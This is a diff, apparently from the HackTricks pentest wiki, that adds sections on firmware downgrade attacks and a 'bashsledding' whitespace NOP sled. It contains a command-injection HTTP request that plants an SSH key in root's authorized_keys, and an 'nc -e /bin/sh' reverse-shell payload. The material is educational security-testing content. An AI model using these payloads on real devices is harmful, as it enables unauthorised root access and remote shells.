Add content from: Exploiting zero days in abandoned hardware

Author: HackTricks News Bot

src/hardware-physical-access/firmware-analysis/README.md

@@ -225,6 +225,53 @@ Operating systems like [AttifyOS](https://github.com/adi0x90/attifyos) and [Embe
 - [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS is a distro intended to help you perform security assessment and penetration testing of Internet of Things (IoT) devices. It saves you a lot of time by providing a pre-configured environment with all the necessary tools loaded.
 - [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Embedded security testing operating system based on Ubuntu 18.04 preloaded with firmware security testing tools.
 
+## Firmware Downgrade Attacks & Insecure Update Mechanisms
+
+Even when a vendor implements cryptographic signature checks for firmware images, **version rollback (downgrade) protection is frequently omitted**. When the boot- or recovery-loader only verifies the signature with an embedded public key but does not compare the *version* (or a monotonic counter) of the image being flashed, an attacker can legitimately install an **older, vulnerable firmware that still bears a valid signature** and thus re-introduce patched vulnerabilities.
+
+Typical attack workflow:
+
+1. **Obtain an older signed image**
+   * Grab it from the vendor’s public download portal, CDN or support site.
+   * Extract it from companion mobile/desktop applications (e.g. inside an Android APK under `assets/firmware/`).
+   * Retrieve it from third-party repositories such as VirusTotal, Internet archives, forums, etc.
+2. **Upload or serve the image to the device** via any exposed update channel:
+   * Web UI, mobile-app API, USB, TFTP, MQTT, etc.
+   * Many consumer IoT devices expose *unauthenticated* HTTP(S) endpoints that accept Base64-encoded firmware blobs, decode them server-side and trigger recovery/upgrade.
+3. After the downgrade, exploit a vulnerability that was patched in the newer release (for example a command-injection filter that was added later).
+4. Optionally flash the latest image back or disable updates to avoid detection once persistence is gained.
+
+### Example: Command Injection After Downgrade
+
+```http
+POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
+Host: 192.168.0.1
+Content-Type: application/octet-stream
+Content-Length: 0
+```
+
+In the vulnerable (downgraded) firmware, the `md5` parameter is concatenated directly into a shell command without sanitisation, allowing injection of arbitrary commands (here – enabling SSH key-based root access). Later firmware versions introduced a basic character filter, but the absence of downgrade protection renders the fix moot.
+
+### Extracting Firmware From Mobile Apps
+
+Many vendors bundle full firmware images inside their companion mobile applications so that the app can update the device over Bluetooth/Wi-Fi. These packages are commonly stored unencrypted in the APK/APEX under paths like `assets/fw/` or `res/raw/`. Tools such as `apktool`, `ghidra`, or even plain `unzip` allow you to pull signed images without touching the physical hardware.
+
+```
+$ apktool d vendor-app.apk -o vendor-app
+$ ls vendor-app/assets/firmware
+firmware_v1.3.11.490_signed.bin
+```
+
+### Checklist for Assessing Update Logic
+
+* Is the transport/authentication of the *update endpoint* adequately protected (TLS + authentication)?
+* Does the device compare **version numbers** or a **monotonic anti-rollback counter** before flashing?
+* Is the image verified inside a secure boot chain (e.g. signatures checked by ROM code)?
+* Does userland code perform additional sanity checks (e.g. allowed partition map, model number)?
+* Are *partial* or *backup* update flows re-using the same validation logic?
+
+> 💡  If any of the above are missing, the platform is probably vulnerable to rollback attacks.
+
 ## Vulnerable firmware to practice
 
 To practice discovering vulnerabilities in firmware, use the following vulnerable firmware projects as a starting point.
@@ -246,6 +293,7 @@ To practice discovering vulnerabilities in firmware, use the following vulnerabl
 
 - [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
 - [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
+- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
 
 ## Trainning and Cert
 

src/linux-hardening/bypass-bash-restrictions/README.md

@@ -340,13 +340,37 @@ bypass-fs-protections-read-only-no-exec-distroless/
 ../privilege-escalation/escaping-from-limited-bash.md
 {{#endref}}
 
+## Space-Based Bash NOP Sled ("Bashsledding")
+
+When a vulnerability lets you partially control an argument that ultimately reaches `system()` or another shell, you may not know the exact offset at which execution starts reading your payload.  Traditional NOP sleds (e.g. `\x90`) do **not** work in shell syntax, but Bash will harmlessly ignore leading whitespace before executing a command.
+
+Therefore you can create a *NOP sled for Bash* by prefixing your real command with a long sequence of spaces or tab characters:
+
+```bash
+# Payload sprayed into an environment variable / NVRAM entry
+"                nc -e /bin/sh 10.0.0.1 4444"
+# 16× spaces ───┘ ↑ real command
+```
+
+If a ROP chain (or any memory-corruption primitive) lands the instruction pointer anywhere within the space block, the Bash parser simply skips the whitespace until it reaches `nc`, executing your command reliably.
+
+Practical use cases:
+
+1. **Memory-mapped configuration blobs** (e.g. NVRAM) that are accessible across processes.
+2. Situations where the attacker can not write NULL bytes to align the payload.
+3. Embedded devices where only BusyBox `ash`/`sh` is available – they also ignore leading spaces.
+
+> 🛠️  Combine this trick with ROP gadgets that call `system()` to dramatically increase exploit reliability on memory-constrained IoT routers.
+
 ## References & More
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
 - [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
 - [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
 - [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju
 
+- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
+
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